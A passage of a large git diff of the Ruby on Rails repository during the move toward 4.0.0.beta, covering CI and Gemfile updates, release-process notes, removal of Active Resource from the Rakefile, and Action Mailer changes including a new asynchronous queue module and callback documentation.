1905 files changed, 93883 insertions, 73579 deletions

diff --git a/.gitignore b/.gitignore
index aa14cee911..854fdbf450 100644
--- a/.gitignore
+++ b/.gitignore
@@ -2,6 +2,7 @@
 # Check out http://help.github.com/ignore-files/ for how to set that up.
 
 debug.log
+.Gemfile
 /.bundle
 /.rbenv-version
 /.rvmrc
@@ -18,6 +19,6 @@ debug.log
 /railties/test/fixtures/tmp
 /railties/test/initializer/root/log
 /railties/doc
-/railties/guides/output
 /railties/tmp
+/guides/output
 /RDOC_MAIN.rdoc
diff --git a/.travis.yml b/.travis.yml
index 265124a3af..c6f868498d 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,14 +1,15 @@
 script: 'ci/travis.rb'
+before_install:
+  - gem install bundler
 rvm:
-  - 1.8.7
-  - 1.9.2
   - 1.9.3
 env:
   - "GEM=railties"
-  - "GEM=ap,am,amo,ares,as"
+  - "GEM=ap,am,amo,as"
   - "GEM=ar:mysql"
   - "GEM=ar:mysql2"
   - "GEM=ar:sqlite3"
+  - "GEM=ar:postgresql"
 notifications:
   email: false
   irc:
@@ -16,4 +17,9 @@ notifications:
     on_failure: always
     channels:
       - "irc.freenode.org#rails-contrib"
+  campfire:
+    on_success: change
+    on_failure: always
+    rooms:
+      - secure: "CGWvthGkBKNnTnk9YSmf9AXKoiRI33fCl5D3jU4nx3cOPu6kv2R9nMjt9EAo\nOuS4Q85qNSf4VNQ2cUPNiNYSWQ+XiTfivKvDUw/QW9r1FejYyeWarMsSBWA+\n0fADjF1M2dkDIVLgYPfwoXEv7l+j654F1KLKB69F0F/netwP9CQ="
 bundler_args: --path vendor/bundle
diff --git a/Gemfile b/Gemfile
index f94f267f05..30b8f9aa08 100644
--- a/Gemfile
+++ b/Gemfile
@@ -1,101 +1,100 @@
-source "http://rubygems.org"
+source 'https://rubygems.org'
 
 gemspec
 
 if ENV['AREL']
-  gem "arel", :path => ENV['AREL']
+  gem 'arel', path: ENV['AREL']
 else
-  gem "arel", :git => "git://github.com/rails/arel"
+  gem 'arel', github: 'rails/arel'
 end
 
-gem "bcrypt-ruby", "~> 3.0.0"
-gem "jquery-rails"
+gem 'mocha', '>= 0.11.2', :require => false
+gem 'rack-test', github: "brynary/rack-test"
+gem 'bcrypt-ruby', '~> 3.0.0'
+gem 'jquery-rails'
 
 if ENV['JOURNEY']
-  gem "journey", :path => ENV['JOURNEY']
+  gem 'journey', path: ENV['JOURNEY']
 else
-  gem "journey", :git => "git://github.com/rails/journey"
+  gem 'journey', github: "rails/journey"
+end
+
+if ENV['AR_DEPRECATED_FINDERS']
+  gem 'activerecord-deprecated_finders', path: ENV['AR_DEPRECATED_FINDERS']
+else
+  gem 'activerecord-deprecated_finders', github: 'rails/activerecord-deprecated_finders'
 end
 
 # This needs to be with require false to avoid
 # it being automatically loaded by sprockets
-gem "uglifier", ">= 1.0.3", :require => false
-
-gem "rake", ">= 0.8.7"
-gem "mocha", ">= 0.9.8"
+gem 'uglifier', '>= 1.0.3', require: false
 
 group :doc do
-  gem "rdoc",  "~> 3.4"
-  gem "sdoc",  "~> 0.3"
-  gem "RedCloth", "~> 4.2" if RUBY_VERSION < "1.9.3"
-  gem "w3c_validators"
+  # The current sdoc cannot generate GitHub links due
+  # to a bug, but the PR that fixes it has been there
+  # for some weeks unapplied. As a temporary solution
+  # this is our own fork with the fix.
+  gem 'sdoc',  github: 'fxn/sdoc'
+  gem 'RedCloth', '~> 4.2'
+  gem 'w3c_validators'
 end
 
 # AS
-gem "memcache-client", ">= 1.8.5"
+gem 'dalli'
 
-platforms :mri_18 do
-  gem "system_timer"
-  gem "ruby-debug", ">= 0.10.3" unless ENV['TRAVIS']
-  gem "json"
-end
-
-platforms :mri_19 do
-  # TODO: Remove the conditional when ruby-debug19 supports Ruby >= 1.9.3
-  gem "ruby-debug19", :require => "ruby-debug" unless RUBY_VERSION > "1.9.2" || ENV['TRAVIS']
-end
+# Add your own local bundler stuff
+local_gemfile = File.dirname(__FILE__) + "/.Gemfile"
+instance_eval File.read local_gemfile if File.exists? local_gemfile
 
 platforms :mri do
   group :test do
-    gem "ruby-prof" if RUBY_VERSION < "1.9.3"
+    gem 'ruby-prof', '~> 0.11.2'
   end
 end
 
 platforms :ruby do
-  if ENV["RB_FSEVENT"]
-    gem "rb-fsevent"
-  end
-  gem "json"
-  gem "yajl-ruby"
-  gem "nokogiri", ">= 1.4.5"
+  gem 'json'
+  gem 'yajl-ruby'
+  gem 'nokogiri', '>= 1.4.5'
 
   # AR
-  gem "sqlite3", "~> 1.3.4"
+  gem 'sqlite3', '~> 1.3.6'
 
   group :db do
-    gem "pg", ">= 0.11.0" unless ENV['TRAVIS'] # once pg is on travis this can be removed
-    gem "mysql", ">= 2.8.1"
-    gem "mysql2", ">= 0.3.6"
+    gem 'pg', '>= 0.11.0'
+    gem 'mysql', '>= 2.8.1'
+    gem 'mysql2', '>= 0.3.10'
   end
 end
 
 platforms :jruby do
-  gem "ruby-debug", ">= 0.10.3"
-  gem "json"
-  gem "activerecord-jdbcsqlite3-adapter", ">= 1.2.0"
+  gem 'json'
+  gem 'activerecord-jdbcsqlite3-adapter', '>= 1.2.0'
 
   # This is needed by now to let tests work on JRuby
   # TODO: When the JRuby guys merge jruby-openssl in
   # jruby this will be removed
-  gem "jruby-openssl"
+  gem 'jruby-openssl'
 
   group :db do
-    gem "activerecord-jdbcmysql-adapter", ">= 1.2.0"
-    gem "activerecord-jdbcpostgresql-adapter", ">= 1.2.0"
+    gem 'activerecord-jdbcmysql-adapter', '>= 1.2.0'
+    gem 'activerecord-jdbcpostgresql-adapter', '>= 1.2.0'
   end
 end
 
 # gems that are necessary for ActiveRecord tests with Oracle database
 if ENV['ORACLE_ENHANCED_PATH'] || ENV['ORACLE_ENHANCED']
   platforms :ruby do
-    gem "ruby-oci8", ">= 2.0.4"
+    gem 'ruby-oci8', '>= 2.0.4'
   end
   if ENV['ORACLE_ENHANCED_PATH']
-    gem "activerecord-oracle_enhanced-adapter", :path => ENV['ORACLE_ENHANCED_PATH']
+    gem 'activerecord-oracle_enhanced-adapter', path: ENV['ORACLE_ENHANCED_PATH']
   else
-    gem "activerecord-oracle_enhanced-adapter", :git => "git://github.com/rsim/oracle-enhanced.git"
+    gem 'activerecord-oracle_enhanced-adapter', github: 'rsim/oracle-enhanced'
   end
 end
 
 # A gem necessary for ActiveRecord tests with IBM DB
-gem "ibm_db" if ENV['IBM_DB']
+gem 'ibm_db' if ENV['IBM_DB']
+
+gem 'benchmark-ips'
diff --git a/RAILS_VERSION b/RAILS_VERSION
index dd8b7cd23b..e1e048d8f0 100644
--- a/RAILS_VERSION
+++ b/RAILS_VERSION
@@ -1 +1 @@
-3.2.0.beta
+4.0.0.beta
diff --git a/README.rdoc b/README.rdoc
index 0def4e5d12..c9fb595efb 100644
--- a/README.rdoc
+++ b/README.rdoc
@@ -47,7 +47,7 @@ can read more about Action Pack in its {README}[link:/rails/rails/blob/master/ac
 
     cd myapp; rails server
 
-   Run with <tt>--help</tt> for options.
+   Run with <tt>--help</tt> or <tt>-h</tt> for options.
 
 4. Go to http://localhost:3000 and you'll see:
 
@@ -67,9 +67,12 @@ We encourage you to contribute to Ruby on Rails! Please check out the {Contribut
 guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how
 to proceed. {Join us}[http://contributors.rubyonrails.org]!
 
-== Travis Build Status {<img src="https://secure.travis-ci.org/rails/rails.png"/>}[http://travis-ci.org/rails/rails]
+== Build Status {<img src="https://secure.travis-ci.org/rails/rails.png"/>}[http://travis-ci.org/rails/rails]
+
+== Dependency Status {<img src="https://gemnasium.com/rails/rails.png?travis"/>}[https://gemnasium.com/rails/rails]
 
 == License
 
-Ruby on Rails is released under the MIT license.
+Ruby on Rails is released under the MIT license:
 
+* http://www.opensource.org/licenses/MIT
diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc
index cbc9d0e1de..af1def223a 100644
--- a/RELEASING_RAILS.rdoc
+++ b/RELEASING_RAILS.rdoc
@@ -25,10 +25,10 @@ for Rails.  You can check the status of his tests here:
 
 Do not release with Red AWDwR tests.
 
-=== Do we have any git dependencies?  If so, contact those authors.
+=== Do we have any Git dependencies?  If so, contact those authors.
 
-Having git dependencies indicates that we depend on unreleased code.
-Obviously rails cannot be released when it depends on unreleased code.
+Having Git dependencies indicates that we depend on unreleased code.
+Obviously Rails cannot be released when it depends on unreleased code.
 Contact the authors of those particular gems and work out a release date that
 suits them.
 
@@ -81,8 +81,20 @@ You can review the commits for the 3.0.10 release like this:
 
     [aaron@higgins rails (3-0-10)]$ git log v3.0.9..
 
+If you're doing a stable branch release, you should also ensure that all of
+the CHANGELOG entries in the stable branch are also synced to the master
+branch.
+
 === Update the RAILS_VERSION file to include the RC.
 
+=== Build and test the gem.
+
+Run `rake install` to generate the gems and install them locally. Then try
+generating a new app and ensure that nothing explodes.
+
+This will stop you from looking silly when you push an RC to rubygems.org and
+then realise it is broken.
+
 === Release the gem.
 
 IMPORTANT: Due to YAML parse problems on the rubygems.org server, it is safest
@@ -103,14 +115,14 @@ what to do in case anything goes wrong:
 === Send Rails release announcements
 
 Write a release announcement that includes the version, changes, and links to
-github where people can find the specific commit list.  Here are the mailing
+GitHub where people can find the specific commit list.  Here are the mailing
 lists where you should announce:
 
 * rubyonrails-core@googlegroups.com
 * rubyonrails-talk@googlegroups.com
 * ruby-talk@ruby-lang.org
 
-Use markdown format for your announcement.  Remember to ask people to report
+Use Markdown format for your announcement.  Remember to ask people to report
 issues with the release candidate to the rails-core mailing list.
 
 IMPORTANT: If any users experience regressions when using the release
@@ -119,16 +131,16 @@ break existing applications.
 
 === Post the announcement to the Rails blog.
 
-If you used markdown format for your email, you can just paste it in to the
+If you used Markdown format for your email, you can just paste it in to the
 blog.
 
 * http://weblog.rubyonrails.org
 
-=== Post the announcement to the Rails twitter account.
+=== Post the announcement to the Rails Twitter account.
 
 == Time between release candidate and actual release
 
-Check the rails-core mailing list and the github issue list for regressions in
+Check the rails-core mailing list and the GitHub issue list for regressions in
 the RC.
 
 If any regressions are found, fix the regressions and repeat the release
@@ -150,11 +162,12 @@ Today, do this stuff in this order:
 * Apply security patches to the release branch
 * Update CHANGELOG with security fixes.
 * Update RAILS_VERSION to remove the rc
+* Build and test the gem
 * Release the gems
 * Email security lists
 * Email general announcement lists
 
-=== Emailing the rails security announce list
+=== Emailing the Rails security announce list
 
 Email the security announce list once for each vulnerability fixed.
 
@@ -163,7 +176,7 @@ You can do this, or ask the security team to do it.
 Email the security reports to:
 
 * rubyonrails-security@googlegroups.com
-* linux-distros@vs.openwall.org
+* oss-security@lists.openwall.com
 
 Be sure to note the security fixes in your announcement along with CVE numbers
 and links to each patch.  Some people may not be able to upgrade right away,
@@ -184,3 +197,34 @@ There are two simple steps for fixing the CI:
 2. Fix it
 
 Repeat these steps until the CI is green.
+
+=== Manually trigger docs generation
+
+We have a post-receive hook in GitHub that calls the docs server on pushes.
+It triggers generation and publication of edge docs, updates the contrib app,
+and generates and publishes stable docs if a new stable tag is detected.
+
+The hook unfortunately is not invoked by tag pushing, so once the new stable
+tag has been pushed to origin, please run
+
+    rake publish_docs
+
+You should see something like this:
+
+    Rails master hook tasks scheduled:
+
+      * updates the local checkout
+      * updates Rails Contributors
+      * generates and publishes edge docs
+
+    If a new stable tag is detected it also
+
+      * generates and publishes stable docs
+
+    This needs typically a few minutes.
+
+Note you do not need to specify the tag, the docs server figures it out.
+
+Also, don't worry if you call that multiple times or the hook is triggered
+again by some immediate regular push, if the scripts are running new calls
+are just queued (in a queue of size 1).
diff --git a/Rakefile b/Rakefile
index e59abd5758..21eb60bbe1 100755..100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,5 +1,3 @@
-#!/usr/bin/env rake
-
 require 'rdoc/task'
 require 'sdoc'
 require 'net/http'
@@ -13,7 +11,7 @@ task :build => "all:build"
 desc "Release all gems to gemcutter and create a tag"
 task :release => "all:release"
 
-PROJECTS = %w(activesupport activemodel actionpack actionmailer activeresource activerecord railties)
+PROJECTS = %w(activesupport activemodel actionpack actionmailer activerecord railties)
 
 desc 'Run all tests by default'
 task :default => %w(test test:isolated)
@@ -77,9 +75,10 @@ RDoc::Task.new do |rdoc|
     rdoc_main.gsub!(/^(?=\S).*?\b(?=Rails)\b/) { "#$&\\" }
     rdoc_main.gsub!(%r{link:/rails/rails/blob/master/(\w+)/README\.rdoc}, "link:files/\\1/README_rdoc.html")
 
-    # Remove Travis build status image from API pages. Only GitHub README page gets this image
-    # https build image is used to avoid GitHub caching: http://about.travis-ci.org/docs/user/status-images
-    rdoc_main.gsub!(%r{^== Travis.*}, '')
+    # Remove Travis and Gemnasium status images from API pages. Only GitHub
+    # README page gets these images. Travis' https build image is used to avoid
+    # GitHub caching: http://about.travis-ci.org/docs/user/status-images
+    rdoc_main.gsub!(%r{^== (Build|Dependency) Status.*}, '')
 
     File.open(RDOC_MAIN, 'w') do |f|
       f.write(rdoc_main)
@@ -93,7 +92,7 @@ RDoc::Task.new do |rdoc|
 
   rdoc.options << '-f' << 'sdoc'
   rdoc.options << '-T' << 'rails'
-  rdoc.options << '-c' << 'utf-8'
+  rdoc.options << '-e' << 'UTF-8'
   rdoc.options << '-g' # SDoc flag, link methods to GitHub
   rdoc.options << '-m' << RDOC_MAIN
 
@@ -108,11 +107,6 @@ RDoc::Task.new do |rdoc|
   rdoc.rdoc_files.include('activerecord/lib/active_record/**/*.rb')
   rdoc.rdoc_files.exclude('activerecord/lib/active_record/vendor/*')
 
-  rdoc.rdoc_files.include('activeresource/README.rdoc')
-  rdoc.rdoc_files.include('activeresource/CHANGELOG.md')
-  rdoc.rdoc_files.include('activeresource/lib/active_resource.rb')
-  rdoc.rdoc_files.include('activeresource/lib/active_resource/*')
-
   rdoc.rdoc_files.include('actionpack/README.rdoc')
   rdoc.rdoc_files.include('actionpack/CHANGELOG.md')
   rdoc.rdoc_files.include('actionpack/lib/abstract_controller/**/*.rb')
@@ -156,7 +150,6 @@ task :update_versions do
     "activemodel"     => "ActiveModel",
     "actionpack"      => "ActionPack",
     "actionmailer"    => "ActionMailer",
-    "activeresource"  => "ActiveResource",
     "activerecord"    => "ActiveRecord",
     "railties"        => "Rails"
   }
@@ -189,7 +182,7 @@ end
 #
 desc 'Publishes docs, run this AFTER a new stable tag has been pushed'
 task :publish_docs do
-  Net::HTTP.new('rails-hooks.hashref.com').start do |http|
+  Net::HTTP.new('api.rubyonrails.org', 8080).start do |http|
     request  = Net::HTTP::Post.new('/rails-master-hook')
     response = http.request(request)
     puts response.body
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
index 57af4ee6a4..d2b8c35124 100644
--- a/actionmailer/CHANGELOG.md
+++ b/actionmailer/CHANGELOG.md
@@ -1,14 +1,105 @@
+## Rails 4.0.0 (unreleased) ##
+
+* Allow to set default Action Mailer options via `config.action_mailer.default_options=` *Robert Pankowecki*
+
+* Raise an `ActionView::MissingTemplate` exception when no implicit template could be found. *Damien Mathieu*
+
+* Asynchronously send messages via the Rails Queue *Brian Cardarella*
+
+
+## Rails 3.2.8 (Aug 9, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.7 (Jul 26, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.6 (Jun 12, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.5 (Jun 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.4 (May 31, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.3 (March 30, 2012) ##
+
+*   Upgrade mail version to 2.4.3 *ML*
+
+
+## Rails 3.2.2 (March 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.1 (January 26, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.0 (January 20, 2012) ##
+
+*   Upgrade mail version to 2.4.0 *ML*
+
+*   Remove Old ActionMailer API *Josh Kalderimis*
+
+
+## Rails 3.1.3 (November 20, 2011) ##
+
+*   No changes
+
+
+## Rails 3.1.2 (November 18, 2011) ##
+
+*   No changes
+
+
+## Rails 3.1.1 (October 7, 2011) ##
+
+*   No changes
+
+
 ## Rails 3.1.0 (August 30, 2011) ##
 
 *   No changes
 
 
+## Rails 3.0.11 (November 18, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.10 (August 16, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.9 (June 16, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.8 (June 7, 2011) ##
+
+*   Mail dependency increased to 2.2.19
+
+
 ## Rails 3.0.7 (April 18, 2011) ##
 
 *   remove AM delegating register_observer and register_interceptor to Mail *Josh Kalderimis*
 
 
-*   Rails 3.0.6 (April 5, 2011)
+## Rails 3.0.6 (April 5, 2011) ##
 
 *   Don't allow i18n to change the minor version, version now set to ~> 0.5.0 *Santiago Pastorino*
 
@@ -76,6 +167,7 @@
 *   Mail does not have "quoted_body", "quoted_subject" etc.  All of these are accessed via body.encoded, subject.encoded etc
 
 *   Every object in a Mail object returns an object, never a string.  So Mail.body returns a Mail::Body class object, need to call #encoded or #decoded to get the string you want.
+
 *   Mail::Message#set_content_type does not exist, it is simply Mail::Message#content_type
 
 *   Every mail message gets a unique message_id unless you specify one, had to change all the tests that check for equality with expected.encoded == actual.encoded to first replace their message_ids with control values
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
index 7ad1051066..810daf856c 100644
--- a/actionmailer/MIT-LICENSE
+++ b/actionmailer/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2011 David Heinemeier Hansson
+Copyright (c) 2004-2012 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc
index dc74b590f7..cf10bfffdb 100644
--- a/actionmailer/README.rdoc
+++ b/actionmailer/README.rdoc
@@ -22,12 +22,12 @@ the email.
 This can be as simple as:
 
   class Notifier < ActionMailer::Base
-    delivers_from 'system@loudthinking.com'
+    default from: 'system@loudthinking.com'
 
     def welcome(recipient)
       @recipient = recipient
-      mail(:to => recipient,
-           :subject => "[Signed up] Welcome #{recipient}")
+      mail(to: recipient,
+           subject: "[Signed up] Welcome #{recipient}")
     end
   end
 
@@ -42,7 +42,7 @@ So the corresponding body template for the method above could look like this:
 
   Thank you for signing up!
 
-And if the recipient was given as "david@loudthinking.com", the email
+If the recipient was given as "david@loudthinking.com", the email
 generated would look like this:
 
   Date: Mon, 25 Jan 2010 22:48:09 +1100
@@ -62,7 +62,7 @@ generated would look like this:
   Thank you for signing up!
 
 In previous version of Rails you would call <tt>create_method_name</tt> and
-<tt>deliver_method_name</tt>.  Rails 3.0 has a much simpler interface, you
+<tt>deliver_method_name</tt>.  Rails 3.0 has a much simpler interface - you
 simply call the method and optionally call +deliver+ on the return value.
 
 Calling the method returns a Mail Message object:
@@ -76,13 +76,13 @@ Or you can just chain the methods together like:
 
 == Setting defaults
 
-It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't need to worry about that. Finally it is also possible to pass in a Proc that will get evaluated when it is needed.
+It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't need to worry about that. Finally, it is also possible to pass in a Proc that will get evaluated when it is needed.
 
 Note that every value you set with this method will get over written if you use the same key in your mailer method.
 
 Example:
 
-  class Authenticationmailer < ActionMailer::Base
+  class AuthenticationMailer < ActionMailer::Base
     default :from => "awesome@application.com", :subject => Proc.new { "E-mail was generated at #{Time.now}" }
     .....
   end
@@ -148,7 +148,9 @@ Source code can be downloaded as part of the Rails project on GitHub
 
 == License
 
-Action Mailer is released under the MIT license.
+Action Mailer is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
 
 
 == Support
diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile
index e7d8ee299d..c1c4171cdf 100755..100644
--- a/actionmailer/Rakefile
+++ b/actionmailer/Rakefile
@@ -1,4 +1,3 @@
-#!/usr/bin/env rake
 require 'rake/testtask'
 require 'rake/packagetask'
 require 'rubygems/package_task'
@@ -11,6 +10,7 @@ Rake::TestTask.new { |t|
   t.libs << "test"
   t.pattern = 'test/**/*_test.rb'
   t.warning = true
+  t.verbose = true
 }
 
 namespace :test do
diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec
index 7ecc35b7c7..0c669e2e91 100644
--- a/actionmailer/actionmailer.gemspec
+++ b/actionmailer/actionmailer.gemspec
@@ -6,7 +6,8 @@ Gem::Specification.new do |s|
   s.version     = version
   s.summary     = 'Email composition, delivery, and receiving framework (part of Rails).'
   s.description = 'Email on Rails. Compose, deliver, receive, and test emails using the familiar controller/view pattern. First-class support for multipart email and attachments.'
-  s.required_ruby_version = '>= 1.8.7'
+  s.required_ruby_version = '>= 1.9.3'
+  s.license     = 'MIT'
 
   s.author            = 'David Heinemeier Hansson'
   s.email             = 'david@loudthinking.com'
@@ -17,5 +18,5 @@ Gem::Specification.new do |s|
   s.requirements << 'none'
 
   s.add_dependency('actionpack',  version)
-  s.add_dependency('mail',        '~> 2.3.0')
+  s.add_dependency('mail',        '~> 2.4.4')
 end
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index 9bd73dd740..cfbe2f1cbd 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2011 David Heinemeier Hansson
+# Copyright (c) 2004-2012 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -21,26 +21,24 @@
 # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 #++
 
-actionpack_path = File.expand_path('../../../actionpack/lib', __FILE__)
-$:.unshift(actionpack_path) if File.directory?(actionpack_path) && !$:.include?(actionpack_path)
-
 require 'abstract_controller'
 require 'action_view'
 require 'action_mailer/version'
 
 # Common Active Support usage in Action Mailer
+require 'active_support/rails'
 require 'active_support/core_ext/class'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/array/uniq_by'
 require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/string/inflections'
 require 'active_support/lazy_load_hooks'
 
 module ActionMailer
   extend ::ActiveSupport::Autoload
 
-  autoload :Collector
+  eager_autoload do
+    autoload :Collector
+  end
+
   autoload :Base
   autoload :DeliveryMethods
   autoload :MailHelper
diff --git a/actionmailer/lib/action_mailer/async.rb b/actionmailer/lib/action_mailer/async.rb
new file mode 100644
index 0000000000..a364342745
--- /dev/null
+++ b/actionmailer/lib/action_mailer/async.rb
@@ -0,0 +1,41 @@
+require 'delegate'
+
+module ActionMailer
+  module Async
+    def method_missing(method_name, *args)
+      if action_methods.include?(method_name.to_s)
+        QueuedMessage.new(queue, self, method_name, *args)
+      else
+        super
+      end
+    end
+
+    def queue
+      Rails.queue
+    end
+
+    class QueuedMessage < ::Delegator
+      attr_reader :queue
+
+      def initialize(queue, mailer_class, method_name, *args)
+        @queue        = queue
+        @mailer_class = mailer_class
+        @method_name  = method_name
+        @args         = args
+      end
+
+      def __getobj__
+        @actual_message ||= @mailer_class.send(:new, @method_name, *@args).message
+      end
+
+      def run
+        __getobj__.deliver
+      end
+
+      # Will push the message onto the Queue to be processed
+      def deliver
+        @queue << self
+      end
+    end
+  end
+end
\ No newline at end of file
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index 8f2c567e3e..900da9697e 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -1,10 +1,8 @@
 require 'mail'
 require 'action_mailer/collector'
-require 'active_support/core_ext/array/wrap'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/proc'
 require 'active_support/core_ext/string/inflections'
 require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/module/anonymous'
 require 'action_mailer/log_subscriber'
 
 module ActionMailer #:nodoc:
@@ -16,15 +14,15 @@ module ActionMailer #:nodoc:
   #
   #   $ rails generate mailer Notifier
   #
-  # The generated model inherits from <tt>ActionMailer::Base</tt>. Emails are defined by creating methods
-  # within the model which are then used to set variables to be used in the mail template, to
-  # change options on the mail, or to add attachments.
+  # The generated model inherits from <tt>ActionMailer::Base</tt>. A mailer model defines methods
+  # used to generate an email message. In these methods, you can setup variables to be used in
+  # the mailer views, options on the mail itself such as the <tt>:from</tt> address, and attachments.
   #
   # Examples:
   #
   #   class Notifier < ActionMailer::Base
   #     default :from => 'no-reply@example.com',
-  #            :return_path => 'system@example.com'
+  #             :return_path => 'system@example.com'
   #
   #     def welcome(recipient)
   #       @account = recipient
@@ -122,8 +120,8 @@ module ActionMailer #:nodoc:
   #
   #   <%= users_url(:host => "example.com") %>
   #
-  # You should use the <tt>named_route_url</tt> style (which generates absolute URLs) and avoid using the 
-  # <tt>named_route_path</tt> style (which generates relative URLs), since clients reading the mail will 
+  # You should use the <tt>named_route_url</tt> style (which generates absolute URLs) and avoid using the
+  # <tt>named_route_path</tt> style (which generates relative URLs), since clients reading the mail will
   # have no concept of a current URL from which to determine a relative path.
   #
   # It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt>
@@ -132,7 +130,7 @@ module ActionMailer #:nodoc:
   #   config.action_mailer.default_url_options = { :host => "example.com" }
   #
   # When you decide to set a default <tt>:host</tt> for your mailers, then you need to make sure to use the
-  # <tt>:only_path => false</tt> option when using <tt>url_for</tt>. Since the <tt>url_for</tt> view helper 
+  # <tt>:only_path => false</tt> option when using <tt>url_for</tt>. Since the <tt>url_for</tt> view helper
   # will generate relative URLs by default when a <tt>:host</tt> option isn't explicitly provided, passing
   # <tt>:only_path => false</tt> will ensure that absolute URLs are generated.
   #
@@ -149,8 +147,8 @@ module ActionMailer #:nodoc:
   #
   # = Multipart Emails
   #
-  # Multipart messages can also be used implicitly because Action Mailer will automatically detect and use 
-  # multipart templates, where each template is named after the name of the action, followed by the content 
+  # Multipart messages can also be used implicitly because Action Mailer will automatically detect and use
+  # multipart templates, where each template is named after the name of the action, followed by the content
   # type. Each such detected template will be added as a separate part to the message.
   #
   # For example, if the following templates exist:
@@ -185,6 +183,16 @@ module ActionMailer #:nodoc:
   # and the second being a <tt>application/pdf</tt> with a Base64 encoded copy of the file.pdf book
   # with the filename +free_book.pdf+.
   #
+  # If you need to send attachments with no content, you need to create an empty view for it,
+  # or add an empty body parameter like this:
+  #
+  #     class ApplicationMailer < ActionMailer::Base
+  #       def welcome(recipient)
+  #         attachments['free_book.pdf'] = File.read('path/to/file.pdf')
+  #         mail(:to => recipient, :subject => "New account information", :body => "")
+  #       end
+  #     end
+  #
   # = Inline Attachments
   #
   # You can also specify that a file should be displayed inline with other HTML. This is useful
@@ -269,6 +277,38 @@ module ActionMailer #:nodoc:
   # set something in the defaults using a proc, and then set the same thing inside of your
   # mailer method, it will get over written by the mailer method.
   #
+  # It is also possible to set these default options that will be used in all mailers through
+  # the <tt>default_options=</tt> configuration in <tt>config/application.rb</tt>:
+  #
+  #    config.action_mailer.default_options = { from: "no-reply@example.org" }
+  #
+  # = Callbacks
+  #
+  # You can specify callbacks using before_filter and after_filter for configuring your messages.
+  # This may be useful, for example, when you want to add default inline attachments for all
+  # messages sent out by a certain mailer class:
+  #
+  #   class Notifier < ActionMailer::Base
+  #     before_filter :add_inline_attachment!
+  #
+  #     def welcome
+  #       mail
+  #     end
+  #
+  #     private
+  #
+  #       def add_inline_attachment!
+  #         attachments.inline["footer.jpg"] = File.read('/path/to/filename.jpg')
+  #       end
+  #   end
+  #
+  # Callbacks in ActionMailer are implemented using AbstractController::Callbacks, so you
+  # can define and configure callbacks in the same manner that you would use callbacks in
+  # classes that inherit from ActionController::Base.
+  #
+  # Note that unless you have a specific reason to do so, you should prefer using before_filter
+  # rather than after_filter in your ActionMailer classes so that headers are parsed properly.
+  #
   # = Configuration options
   #
   # These options are specified on the class level, like
@@ -312,7 +352,7 @@ module ActionMailer #:nodoc:
   #
   # * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default),
   #   <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method
-  #   object eg. MyOwnDeliveryMethodClass.new. See the Mail gem documentation on the interface you need to
+  #   object e.g. MyOwnDeliveryMethodClass. See the Mail gem documentation on the interface you need to
   #   implement for a custom delivery agent.
   #
   # * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you
@@ -332,8 +372,9 @@ module ActionMailer #:nodoc:
     include AbstractController::Helpers
     include AbstractController::Translation
     include AbstractController::AssetPaths
+    include AbstractController::Callbacks
 
-    self.protected_instance_variables = %w(@_action_has_layout)
+    self.protected_instance_variables = [:@_action_has_layout]
 
     helper  ActionMailer::MailHelper
 
@@ -375,7 +416,7 @@ module ActionMailer #:nodoc:
       end
 
       def mailer_name
-        @mailer_name ||= name.underscore
+        @mailer_name ||= anonymous? ? "anonymous" : name.underscore
       end
       attr_writer :mailer_name
       alias :controller_path :mailer_name
@@ -384,6 +425,10 @@ module ActionMailer #:nodoc:
